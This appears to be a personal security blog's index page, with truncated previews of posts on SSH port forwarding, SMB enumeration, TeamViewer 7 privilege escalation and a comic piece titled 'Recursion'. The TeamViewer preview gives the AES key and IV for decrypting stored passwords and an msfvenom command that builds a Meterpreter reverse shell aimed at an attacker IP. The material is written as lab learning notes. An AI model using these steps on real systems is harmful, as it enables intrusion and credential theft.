Port Forwarding








Dear Diary,
Today was a good day. I learned about a powerful new feature called Port Forwarding!
Port Forwarding is a feature of SSH that allows you to redirect traffic from on a target machine to another using a specified IP and port. This is a powerful tool because it allows you to relay communication from a target machine to an external host (i.e. your computer!).
All you need is:
  1. SSH Credentials
  2. The port of the resource you want to access
Let's say the web server is hosted on 127.0.0.1:8443. You can use the command below to access that webserver:
ssh -L 8443:127.0.0.1:8443 <username>@10.10.10.184
Where you can now execute curl commands to retrieve information on that website (without port forwarding, this would've resulted in an access denied error!)
curl -k -i -u admin:<password> https://localhost:8443

All About SMB

The first step of enumerating networks is to identify common network services. These are Telnet, SMB and FTP. First step of enumeration is to conduct a port scan using nmap. A good tool to use to enumerate networks is enum4linux. What is SMB? SMB - Server Message Block Protocol - is a client-server communication protocol used for sharing access to files, printers, serial ports and other resources on a network. [ source ] Servers make file systems and other resources (printers, named pipes, APIs) available to clients on the network. Client computers may have their own hard disks, but they also want access to the shared file systems and printers on the servers. The SMB protocol is known as a response-request protocol, meaning that it transmits multiple messages between the client and server to establish a connection. Clients connect to servers using TCP/IP (actually NetBIOS over TCP/IP as specified in RFC1001 and RFC1002), NetBEUI or IPX/SPX. How does SMB work? Once they have establ...

TeamViewer 7 Privilege Escalation

Hello! Today was a good day. I learned how to exploit a privesc vulnerability in TeamViewer (version 7) which had eluded me for quite some time due to a lack of user-friendly resources available online. But today I am changing all that ;) So basically, TeamViewer 7 stores user passwords encrypted with AES-128-CBC with a key of 0602000000a400005253413100040000 and iv of 0100010067244F436E6762F25EA8D704 in the Windows registry. This means that someone can decrypt that password using that key and iv and use it elsewhere if the user in question made repeated use of their password (as users often do!) Now, the process is doing this manually is complicated but luckily for us, a Metasploit module exists to automate this for us! First. generate a payload with msfvenom like so: $ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<ip attacker> LPORT=4444 -f exe > revshell.exe Then move the payload to the machine with PowerShell (remember to move to the file to the ...

Recursion

“So, what’s your number?” he asked me with innocent eyes, contemplating a number low enough to render me virtuous but high enough to guarantee some skill. In other words, n - 1.  I sighed and looked at ceiling. The scene was all too familiar. This time however, I wasn’t with a graduate student. Or an engineer. I was with a DJ.  “One time, I wrote a C program to remove the voice from a sound file,” I said shyly as he leaned in and grazed my earlobe.  Suddenly, he pulled back with disappointment.  “I’m really sorry, but I have to go to my show,” he said as he stuffed his headphones into his backpack. “I’ll see you later.”  The door slammed in the distance. I sighed and hung my head in shame. For I was embarking on the same destructive behavior, watching helplessly as my actions iterated miserably in a never-ending loop. Like recursion, a new romance temps with the promise of a memory address, such as the $user = “girlfriend” string as...
